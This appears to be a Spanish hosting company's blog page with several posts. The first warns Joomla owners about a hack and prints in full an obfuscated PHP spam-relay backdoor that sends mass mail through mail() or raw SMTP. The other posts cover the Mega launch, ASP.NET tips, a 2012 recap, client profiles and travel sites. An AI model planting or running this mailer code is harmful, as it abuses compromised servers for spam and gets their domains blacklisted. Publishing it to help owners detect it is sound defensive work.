¿Sospechas que alguien ha hackeado tu Joomla, y está utilizándolo para realizar envíos masivos de correo spam?

Es probable que el hack en cuestión tenga forma de archivo .php, y se encuentre mezclado con el resto de los archivos de tu página web. El nombre del archivo es completamente aleatorio, y no afecta a su funcionamiento. Lo importante es el código dentro del mismo, que tiene este aspecto:

<?php
@error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); if (count($_POST) < 2) { die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); } $v5031e998 = false; foreach (array_keys
($_POST) as $v3c6e0b8a) { switch ($v3c6e0b8a[0]) { case chr(108): $vd56b6998 = $v3c6e0b8a; break; case chr(100): $v8d777f38 = $v3c6e0b8a; break; case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; ca
se chr(101); $v5031e998 = true; break; } } if ($vd56b6998 === '' || $v8d777f38 === '') die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321)); $v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disabl
e_functions')); $v01b6e203 = @$_POST[$vd56b6998]; $v8d777f38 = @$_POST[$v8d777f38]; $v3d26b0b1 = @$_POST[$v3d26b0b1]; if ($v5031e998) { $v01b6e203 = n9a2d8ce3($v01b6e203); $v8d777f38 = n9a2d8ce3
($v8d777f38); $v3d26b0b1 = n9a2d8ce3($v3d26b0b1); } $v01b6e203 = urldecode(stripslashes($v01b6e203)); $v8d777f38 = urldecode(stripslashes($v8d777f38)); $v3d26b0b1 = urldecode(stripslashes($v3d26
b0b1)); if (strpos($v01b6e203, ';', 1) != false) { list($va3da707b, $vbfbb12dc, $v081bde0c) = preg_split('/;/',strtolower($v01b6e203)); $va3da707b = ucfirst($va3da707b); $vbfbb12dc = ucfirst($vb
fbb12dc); $v3a5939e4 = next(explode('@', $v081bde0c)); if ($vbfbb12dc == '' || $va3da707b == '') { $vbfbb12dc = $va3da707b = ''; $v01b6e203 = $v081bde0c; } else { $v01b6e203 = "\"$va3da707b $vbf
bb12dc\" <$v081bde0c>"; } } else { $vbfbb12dc = $va3da707b = ''; $v081bde0c = strtolower($v01b6e203); $v3a5939e4 = next(explode('@', $v01b6e203)); } preg_match('|<USER>(.*)</USER>|imsU', $v8d777
f38, $vee11cbb1); $vee11cbb1 = $vee11cbb1[1]; preg_match('|<NAME>(.*)</NAME>|imsU', $v8d777f38, $vb068931c); $vb068931c = $vb068931c[1]; preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $v8d777f38, $vc3448
7c9); $vc34487c9 = $vc34487c9[1]; preg_match('|<SBODY>(.*)</SBODY>|imsU', $v8d777f38, $v6f4b5f42); $v6f4b5f42= $v6f4b5f42[1]; $vc34487c9 = str_replace("%R_NAME%", $va3da707b, $vc34487c9); $vc344
87c9 = str_replace("%R_LNAME%", $vbfbb12dc, $vc34487c9); $v6f4b5f42 = str_replace("%R_NAME%", $va3da707b, $v6f4b5f42); $v6f4b5f42 = str_replace("%R_LNAME%", $vbfbb12dc, $v6f4b5f42); $v0897acf4 =
preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']); if (ne667da76($v0897acf4) || @ini_get('safe_mode')) $v10497e3f = false; else $v10497e3f = true; $v9a5cb5d8 = "$vee11cbb1@$v0897acf4"
; if ($vb068931c != '') $vd98a07f8 = "$vb068931c <$v9a5cb5d8>"; else $vd98a07f8 = $v9a5cb5d8; $vb8ddc93f = "From: $vd98a07f8\r\n"; $vb8ddc93f .= "Reply-To: $vd98a07f8\r\n"; $v3c87b187 = "X-Prior
ity: 3 (Normal)\r\n"; $v3c87b187 .= "MIME-Version: 1.0\r\n"; $v3c87b187 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"; $v3c87b187 .= "Content-Transfer-Encoding: 8bit\r\n"; if (!in_arr
ay('mail', $v619d75f8)) { if ($v10497e3f) { if (@mail($v01b6e203, $vc34487c9, $v6f4b5f42, $vb8ddc93f.$v3c87b187, "-f$v9a5cb5d8")) die(chr(79).chr(75).md5(1234567890)."+0"); } else { if (@mail($v
01b6e203, $vc34487c9, $v6f4b5f42, $v3c87b187)) die(chr(79).chr(75).md5(1234567890)."+0"); } } $v4340fd73 = "Date: " . @date("D, j M Y G:i:s O")."\r\n" . $vb8ddc93f; $v4340fd73 .= "Message-ID: <"
.preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time()))."@$v0897acf4>\r\n"; $v4340fd73 .= "To: $v01b6e203\r\n"; $v4340fd73 .= "Subject: $vc34487c9\r\n"; $v4340fd73 .= $v3c87b187; $v841a
2d68 = $v4340fd73."\r\n".$v6f4b5f42; if ($v3d26b0b1 == '') $v3d26b0b1 = n9c812bad($v3a5939e4); if (($vb4a88417 = n7b0ecdff($v9a5cb5d8, $v081bde0c, $v841a2d68, $v0897acf4, $v3d26b0b1)) == 0) { di
e(chr(79).chr(75).md5(1234567890)."+1"); } else { echo PHP_OS.chr(50).chr(48).'+'.md5(0987654321)."+$vb4a88417"; } function ne667da76($v957b527b){ return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0
-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $v957b527b); } function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685="=\r\n", $v92f21a0f = 0, $v3303c65a
= false) { $vf5a8e923 = strlen($vb45cffe0); $vb4a88417 = ''; for($v865c0c0b = 0; $v865c0c0b < $vf5a8e923; $v865c0c0b++) { if ($v11a95b8a >= 75) { $v11a95b8a = $v92f21a0f; $vb4a88417 .= $v7fa1b6
85; } $v4a8a08f0 = ord($vb45cffe0[$v865c0c0b]); if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) { if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) {
$vb4a88417.=chr($v4a8a08f0); $v11a95b8a = 0; continue; } $vb4a88417 .='='.str_pad(strtoupper(dechex($v4a8a08f0)), 2, '0', STR_PAD_LEFT); $v11a95b8a += 3; continue; } $vb4a88417 .= chr($v4a8a08f0
); $v11a95b8a++; } return $vb4a88417; } function n7b0ecdff($vd98a07f8, $v01b6e203, $v841a2d68, $v0897acf4, $v3d26b0b1) { global $v619d75f8; if (!in_array('fsockopen', $v619d75f8)) $v66b18866 = @
fsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array('pfsockopen', $v619d75f8)) $v66b18866 = @pfsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array('strea
m_socket_client', $v619d75f8) && function_exists("stream_socket_client")) $v66b18866 = @stream_socket_client("tcp://$v3d26b0b1:25", $v70106d0d, $v809b1abe, 20); else return -1; if (!$v66b18866)
{ return 1; } else { $v8d777f38 = n54070395($v66b18866); @fputs($v66b18866, "EHLO $v0897acf4\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "2+($v01b6e20
3)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "MAIL FROM:<$vd98a07f8>\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "3+($v01b
6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "RCPT TO:<$v01b6e203>\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 && substr($ve98d
2f00, 0, 3) != 251) return "4+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "DATA\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) !=
354 ) return "5+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, $v841a2d68."\r\n.\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 25
0 ) return "6+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "QUIT\r\n"); @fclose($v66b18866); return 0; } } function n54070395($v66b18866) { $v8d777f38 = '';
while($v341be97d = @fgets($v66b18866, 4096)) { $v8d777f38 .= $v341be97d; if(substr($v341be97d, 3, 1) == ' ') break; } return $v8d777f38; } function n9c812bad($vad5f82e8) { global $v619d75f8; if
(!in_array('getmxrr', $v619d75f8) && function_exists("getmxrr")) { @getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816); if (count($v744fa43b) === 0) return '127.0.0.1'; $v865c0c0b = array_keys($v6c5ea
816, min($v6c5ea816)); return $v744fa43b[$v865c0c0b[0]]; } else { return '127.0.0.1'; } } function n9a2d8ce3($v1cb251ec) { $v1cb251ec = base64_decode($v1cb251ec); $vc68271a6 = ''; for($v865c0c0b
= 0; $v865c0c0b < strlen($v1cb251ec); $v865c0c0b++) $vc68271a6 .= chr(ord($v1cb251ec[$v865c0c0b]) ^ 2); return $vc68271a6; } ?>

Si encuentras un archivo desconocido fuera de lugar, que tú no has creado y que lleva este código dentro, bórralo inmediatamente.

El riesgo principal, más allá de la seguridad de tu sitio, es que todas las cuentas de correo dependientes de tus dominios entren en listas negras de spam, impidiéndote enviar y recibir correo correctamente. El proceso para salir de las listas negras puede ser largo en el peor de los casos, pudiendo dejar tus cuentas de correo inutilizadas durante varios días.

Kim Dotcom  ha vuelto y lo ha hecho como él solo sabe, a lo grande. El lanzamiento de Mega el pasado día 19 de Enero, ha tenido al mundo  en vilo durante meses, lo que  provocó que en tan solo una hora se registraran cerca de 100 mil usuarios, y que, durante su primer día de vida, el número de cuentas ascendiera hasta el millón.

Estas cifras astronómicas son una buena noticia para el sucesor de la plataforma Megaupload, que llevó a su creador a  prisión acusado de piratería tras una detención digna de cualquier película de Hollywood.

Algunas de las novedades que Dotcom ofrece en Mega son: 50GB de almacenamiento gratuito, servicios de correo electrónico y registro de dominios, acceso móvil y mensajería instantánea. Además, también cabe la posibilidad de contratar sus servicios pudiendo elegir entre tres planes diferentes, que abarcan desde los 500GB hasta 4TB de almacenamiento.

Pero, ¿cómo van a conseguir no volver a sentarse en el banquillo como les sucedió con Megaupload? Para eludir las responsabilidades penales que ya sufrieron hace un año, Dotcom y sus socios han decidido encriptar toda la información contenida en sus servidores, de forma que es el propio usuario quien controla el cifrado y el acceso a sus archivos, tal como se detalla en su web.

La gran expectación generada por el lanzamiento oficial de Mega,  provocó que sus primeras  horas de vida no fueran nada fáciles. La plataforma no pudo soportar el aluvión de demandas de registro y visitas, dando lugar a una sobrecarga que hizo que el rendimiento de la página, tanto a la hora de tramitar un alta como de subir archivos, se convirtiera en una tarea larga y pesada.

Como era de esperar, los internautas no tardaron en criticar la mala calidad del servicio, a lo que Dotcom respondió disculpándose y asegurando que trabajarían sin descanso, con el fin de que Mega “opere normalmente en las próximas 48 horas”.

Con el tiempo veremos si el nuevo invento creado por Kim Dotcom, Mathias Ortmann, Bram van der Kolk y Finn Batato tiene el mismo éxito que su antecesor. Por el momento, los primeros pasos de Mega nos han dejado un sabor agridulce.

Una buena manera de mantener limpio vuestro sistema para que funcione tan rápido cómo el primer día es desinstalar todas aquellas aplicaciones que no utilices. Lamentablemente, en algunas ocasiones se producen problemas al tratar de desinstalar las aplicaciones desde la utilidad Agregar o quitar programas de Windows.

Para resolver esto, Microsoft tiene una aplicación que revisará el registro en buscar de problemas y te ayudará a instalar o quitar todas esas aplicaciones que se resisten. Es necesario descargarse esta utilidad desde la web de soporte de MS. Este es el enlace.

50 Ways to Avoid, Find and Fix ASP.NET Performance Issues

Una selección de 50 recomendaciones a la hora de programar aplicaciones ASP.NET de la mano de reconocidos developers y ofrecido por RedGate. Podéis encontrarlo en este enlace.

• 50 tips from the ASP.NET and SQL Server communities for boosting performance in your ASP.NET app.
• Learn the secrets of your fellow developers and read advice from MVPs and other experts.
• Covers performance problems in .NET code, SQL Server queries, interactions between code and database, and more…

Fuente: Jersson on Geeks.ms

Este 2012 ha sido un año complicado en muchos aspectos, pero también ha habido muchos acontecimientos que nos han sacado una sonrisa o nos han tenido pegados a la pantalla del ordenador, y en Blackslot creemos que son esos los que hay que recordar.

A comienzos de  año, los internautas se quedaban atónitos al conocer la noticia de la detención de Kim Dotcom, creador de Megaupload, debido a una supuesta infracción en los derechos de autor.

Un año más, se han lanzado nuevos gadgets de Apple, como el iPhone5  o  el iPad Mini, y hemos vivido  la guerra de patentes entre el gigante tecnológico del desaparecido Jobs  y la surcoreana Samsung.

Durante el verano vivimos los Juegos Olímpicos más interactivos, ya que gracias a redes sociales como Facebook, Twitter o Instagram pudimos vivirlos de una forma más cercana e incluso conocer detalles sobre los atletas narrados por ellos mismos.

A mediados de Octubre, el mundo entero se encontraba en vilo mientras Felix Baumgartner realizaba el salto en caída libre más alto de la historia, consiguiendo además, romper la barrera del sonido.

Otro lanzamiento, pero esta vez en lo que a tecnología informática se refiere, fue el del sistema operativo Windows 8, 3 años después de su predecesor. Su nueva interfaz, rompe con los estereotipos de escritorio de Windows, y la hacen adaptable a los dispositivos táctiles.

A finales de  año, Psy  nos hacía bailar al ritmo de la pegadiza Gangnam Style, que consiguió el Record Guiness de “me gusta” en Youtube, con más de 967 millones de visitas.

Desde Blackslot queremos aprovechar la ocasión para dar las gracias a todos aquellos que habéis pasado con nosotros estos últimos 365 días y que, esperamos, sigáis con nosotros el año que viene (si no se cumple la profecía maya…).

Os deseamos felices fiestas y próspero año 2013.

Desde Blackslot queremos presentaros algunos de los proyectos que se alojan en nuestra plataforma.

Adpv, Marketplace de Publicidad, es una plataforma online que facilita la labor de Soportes, Agencias y Anunciantes permitiéndoles gestionar espacios publicitarios y campañas tanto online como offline.

Este modelo de negocio permite a los Anunciantes y Agencias realizar una inversión del 100% en las campañas online. Además, para campañas superiores a 2.000 euros Adpv ofrece un sistema de asesoramiento, creación de plan de medios a medida y gestión de la campaña de forma totalmente gratuita.

El principal objetivo de Adpv es ser considerado como un escaparate publicitario de referencia en el que las webs usuarias incrementen su rentabilidad, sobre todo los pequeños y medianos soportes. Para lograrlo, el reto está en adaptarse de forma ágil  a los cambios que se producen de forma constante en el sector de la publicidad online, desarrollando nuevas funcionalidades que les permitan seguir las tendencias que despuntan en el mercado.

La idea del marketplace se maduró y desarrolló en 2008 cuando vieron una oportunidad de negocio en trasladar el mercado tradicional de contratación de publicidad a la red  y conseguir así automatizar al máximo la cadena publicitaria completa.

A día de hoy,  Adpv cuenta con más de 4.450 soportes online y más de 5.000 soportes offline, y están sirviendo más de 125 millones de impresiones en campaña/mes.

En Blackslot siempre hemos procurado ser más que un mero proveedor de hosting, adaptando nuestros servicios a las nuevas necesidades de tráfico de Adpv gracias a la escalabilidad de nuestros servicios, y conseguir así que puedan ofrecer un servicio óptimo y con todas las garantías.

Adpv lo forman: Rubén Iglesias (dirección, CEO), Silbia González (Project Manager), Aitor García (Desarrollador Jefe), Eneko Quintana (Ejecutivo de cuentas), Miren Pena (Ejecutiva de cuentas) y Patricia Heras (Ejecutiva de cuentas).

En Blackslot estamos colaborando como partners tecnológicos  del “IV encuentro anual de Getxoblog”que se celebra bajo el lema “101 influyentes bloggers en Getxo”.

El evento tendrá lugar el próximo sábado 24 de Noviembre en el Centro de Conocimiento de BiskayTIC. El propósito de esta reunión será juntar a 101 influyentes bloggers con el fin de dar voz a Getxo en el mundo de Internet, además de  mostrar el amplio abanico de posibilidades que ofrece la Red a la ciudadanía.

El principal objetivo marcado por la organización de Getxoblog para esta reunión es contar con la presencia de 101 bloggers, que publicarán de posts relacionados con Getxo y su gente en sus blogs. También se crearán álbumes de fotos creados a partir de imágenes posicionadas de los bloggers visitando el lugar y, además, durante el evento se realizarán diferentes entrevistas a  través de teléfonos móviles a todos los asistentes. Gracias a todas estas iniciativas, será posible lograr un mayor reconocimiento del municipio en Internet.

Además, los chicos de Hermeneus se harán cargo de la selección de alimentos con los que se elaborarán los menús de la comida y de la merienda.

Podéis encontrar el programa completo y más información en www.getxoblog.org

Hace años las webs eran los soportes publicitarios por los que apostaban los negocios más innovadores y se contemplaba Internet como un canal de publicidad emergente. Hoy en día, una web puede ser un negocio en sí e Internet es una fuente de oportunidades.

Navegando por la web he encontrado viajediario.com, un blog de lo más diverso que relata experiencias de viajes, noticias y ofertas relacionadas con el turismo, etc. Realmente, es un reflejo más de la revolución existente en el sector de servicio y turismo. Ahora solo unos pocos planean sus vacaciones, e incluso sus ratos de ocio, sin tener presente una conexión a internet.

- En la red hay muchos buscadores que permiten publicitar e incluir servicios relacionados con el turismo, por ejemplo Toprural el buscador de casas rurales en Europa, u otra web como hotelesconencanto.com cuya temática hace honor al nombre de su dominio.

- Agencias de viajes online como destinia.com que facilita la contratación de viajes a destinos turísticos a todo el mundo con servicios adicionales.

- También van ganando notoriedad los tan publicitados comparadores Trivago y Kayak. Trivago es un comparador de precios de hoteles online, que busca y compara en tiempo real los precios ofertados por las principales agencias de viajes en internet para una habitación de hotel en la ciudad a la que el usuario desea viajar y Kayak permite comparar fácilmente cientos de sitios web de viajes a la vez incluyendo sitios web de aerolíneas, hoteles, alquiler de coches y agencias de viajes en línea.

- Webs de ofertas y packs relacionados con el turismo o actividades de ocio
La agencia de viajes y promoción de actividades de ocio atrapalo.com que nació tal y como indican “bajo la filosofía de ofrecer las mejores propuestas para el tiempo libre al mejor precio del mercado”.
Otras webs como planb.es o planeo.com han surgido también, en parte, siguiendo esa estela.

- El mundo 2.0 también ha facilitado el contacto con otras personas que comparten gustos o filosofía de vida, y ha permitido el crecimiento de proyectos webs muy novedosos:

Wikiloc donde las personas pueden descubrir, publicar, compartir y descargar rutas y puntos de interés GPS (tracks y waypoints) de cualquier lugar del planeta de forma fácil y rápida.

Para detallar en qué consiste este proyecto de Couchsurfing tomo prestada la definición de Wikipedia “es un servicio de hospitalidad en línea. Al registrarse los miembros pueden localizar contactos en los lugares donde viajen y quedarse en sus ‘sofás’, así como también pueden hospedar a viajeros de cualquier parte del mundo” o Airbnb que “es una web social que conecta a gente que tiene espacio para compartir con gente que está buscando un sitio en el que alojarse. A través de sus experiencias en Airbnb, huéspedes y anfitriones crean conexiones reales con gente de todo el mundo”.

¡Ojala este post sirva para inspirar vuestros ratos libres!

En nombre del equipo de Blackslot os deseo un feliz verano

Cuando en un proyecto participa más de un programador y cada uno de ellos se encuentra en un lugar diferente, es más difícil coordinar su trabajo, y por tanto se pueden perder datos o modificar cosas que no deberían ser cambiadas.

Debido a esta problemática,  y a que en Blackslot  sabemos que supone un esfuerzo extra para los desarrolladores, hemos creado un servicio específico para ellos.  Se trata de unos servidores de desarrollo adaptados a sus necesidades y que les permitirán tener todo bajo control.

Con los servidores de desarrollo o control de versiones se puede volver a restaurar una versión anterior, controlar los cambios que va realizando cada persona o equipo, asignar tareas específicas….etc.

Sus principales ventajas frente a los servidores de desarrollo más conocidos en el mercado son:

- Ilimitado número de usuarios por proyecto

- Ilimitado número de proyectos (repositorios privados)

- Establecimiento de diferentes perfiles con diferentes permisos:

*             Master: Se trata de la figura que dirige el proyecto y tiene acceso a todos los departamentos
*             Developer: Los desarrolladores pueden tener acceso al código y a los commits (gestión del código)
*             Reporter (informes): Esta figura puede ver toda la información pero no modificarla.
*             Guest: Se trata de la figura de invitado. No ve el código pero puede crear tareas o dejar comentarios en el muro del proyecto.

- Se trata de servidores independientes para cada empresa, de modo que se garantiza mayor seguridad que en una plataforma compartida.

- Nuestro centro de datos, donde se hallan alojados los servidores, se encuentra en Madrid. Si una empresa, a la hora de alojar datos, quiere cumplir escrupulosamente con algunas normativas de seguridad de la LOPD, en Blackslot cuenta con un CPD dentro del país.

Os enlazamos algo de lectura recomendada para este fin de semana. Estos son algunos de los libros gratuitos que ofrece Microsoft Press. Están disponibles para su descarga en formato PDF, Mobi (Kindle) y epub.

FUENTE: MSDN BLOGS